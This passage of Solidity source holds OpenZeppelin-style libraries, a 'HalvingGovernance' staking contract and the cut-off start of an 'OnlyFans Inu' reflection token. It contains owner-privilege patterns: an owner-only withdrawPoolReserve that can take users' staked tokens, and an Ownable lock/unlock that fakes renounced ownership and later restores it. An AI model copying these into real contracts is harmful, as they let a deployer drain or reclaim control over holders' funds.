* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract HalvingGovernance
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
address payable public owner;
IERC20 internal halvToken;
uint256 public governanceStartTime; //Timestamp since when the Halving Token Governance started from , the APR would be changed based on this
uint256 public totalTokenStaked;
uint256 private yearDuration = 365 days;
uint256 private firstYear;
uint256 private secondYear;
mapping(address => Details) public getUserDetails;
struct Details{
uint256 lastUpdateTime;
uint256 totalAmountStaked;
uint256 earnedRewards;
uint256 rewardPerToken;
}
modifier onlyOwner() {
require (msg.sender == owner,"Not Owner");
_;
}
modifier updateReward(address account) {
require(account != address(0),"Zero Address can't be user");
getUserDetails[account].rewardPerToken = getRewardPerToken(account);
getUserDetails[account].earnedRewards = earned(account);
getUserDetails[account].lastUpdateTime = block.timestamp;
_;
}
event Staked(address staker,uint256 amountStaked,uint256 stakedTime,uint256 stakerTotalStake);
event Unstaked(address recipient,uint256 amountUnstaked,uint256 unstakedTime,uint256 stakerTotalStake);
event RewardsClaimed(address recipient, uint256 reward,uint256 claimedRewardFees);
constructor (address tokenAddress) public {
owner = msg.sender;
halvToken = IERC20(tokenAddress);
governanceStartTime=block.timestamp;
firstYear = governanceStartTime.add(yearDuration);
secondYear = firstYear.add(yearDuration);
}
function () external payable { //fallback function to collect Ethereum sent to Contract
}
function tokenAddress() public view returns(address){
return address(halvToken);
}
function poolReserve() public view returns(uint256){
return halvToken.balanceOf(address(this));
}
function getCurrentAPR() public view returns(uint256){
if(block.timestamp <= firstYear){ // For 1st Year
return 24;
}
else if( (block.timestamp > firstYear) && (block.timestamp <= secondYear) ){ // For 2nd Year
return 12;
}
else if (block.timestamp > secondYear){ // 3rd Year Onwards
return 6;
}
}
function getRewardPerToken(address account) private view returns (uint256) {
uint256 lastUpdatedTime = getUserDetails[account].lastUpdateTime;
uint256 durationStaked = block.timestamp.sub(lastUpdatedTime);
uint256 durationStakedFractioned = durationStaked.mul(1e18).div(365 days);
if (getUserDetails[account].totalAmountStaked == 0 || lastUpdatedTime == 0) {
return 0; //users rewardPerToken becomes 0 when if there is no staked Amount or staking first time
}
return
getUserDetails[account].rewardPerToken.add(
getCurrentAPR()
.mul(1e16)
.mul(durationStakedFractioned)
.div(1e18)
);
}
function _preValidateData(address _sender,uint256 _amount) internal view{
require(_sender != address(0), "Beneficiary cannot be the zero address");
require(_amount != 0, "Stake/Unstake Token Amount should be greater than 0");
require(_amount < poolReserve(), "Cannot stake/unstake Amount greater than or equal to Pool Reserve");
}
function stake(uint256 tokenAmount) external updateReward(msg.sender){
_preValidateData(msg.sender,tokenAmount);
totalTokenStaked=totalTokenStaked.add(tokenAmount);
getUserDetails[msg.sender].totalAmountStaked = getUserDetails[msg.sender].totalAmountStaked.add(tokenAmount);
halvToken.safeTransferFrom(msg.sender,address(this),tokenAmount);
emit Staked(msg.sender,tokenAmount,block.timestamp,getUserDetails[msg.sender].totalAmountStaked);
}
function unstake(uint256 tokenAmount) public updateReward(msg.sender){
_preValidateData(msg.sender,tokenAmount);
require(getUserDetails[msg.sender].totalAmountStaked >=tokenAmount,"Insufficient Token at Stake");
totalTokenStaked=totalTokenStaked.sub(tokenAmount);
getUserDetails[msg.sender].totalAmountStaked = getUserDetails[msg.sender].totalAmountStaked.sub(tokenAmount);
halvToken.safeTransfer(msg.sender, tokenAmount);
emit Unstaked(msg.sender,tokenAmount,block.timestamp,getUserDetails[msg.sender].totalAmountStaked);
}
function earned(address account) public view returns (uint256) {
uint256 userTotalAmountStaked = getUserDetails[account].totalAmountStaked;
uint256 userEarnedRewards = userTotalAmountStaked
.mul(getRewardPerToken(account))
.div(1e18)
.add(getUserDetails[account].earnedRewards);
return userEarnedRewards;
}
function claimRewards() public updateReward(msg.sender){
address account = msg.sender;
uint256 reward = earned(account);
require(reward > 0,"No Claimable rewards pending");
getUserDetails[account].earnedRewards = 0;
uint256 claimableReward = (reward.div(1000)).mul(980); //getUserDetails can redeem 98% of there total earned Rewards
uint256 rewardFees = reward.sub(claimableReward); // remaining 2% is treated as platform fees
require(claimableReward.add(rewardFees) == reward,"Unable to transfer full Reward's");
halvToken.safeTransfer(account, claimableReward);
halvToken.safeTransfer(owner,rewardFees); //fees transferred to owner
emit RewardsClaimed(account, reward, rewardFees);
}
function exit() external {
unstake(getUserDetails[msg.sender].totalAmountStaked);
claimRewards();
}
function withdrawFallbackBalnce() external onlyOwner {
uint256 fallbackBalance=address(this).balance;
require(fallbackBalance>0,"No Balance to be withdrawn");
owner.transfer(fallbackBalance);
}
function withdrawPoolReserve(uint256 amount) external onlyOwner {
require(poolReserve()>0,"No Pool Reserve to be withdrawn");
halvToken.safeTransfer(owner,amount);
}
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2333,
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|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract OnlyFansInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "OnlyFans Inu";
string private _symbol = "OFINU";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 12;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 990000000000000000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
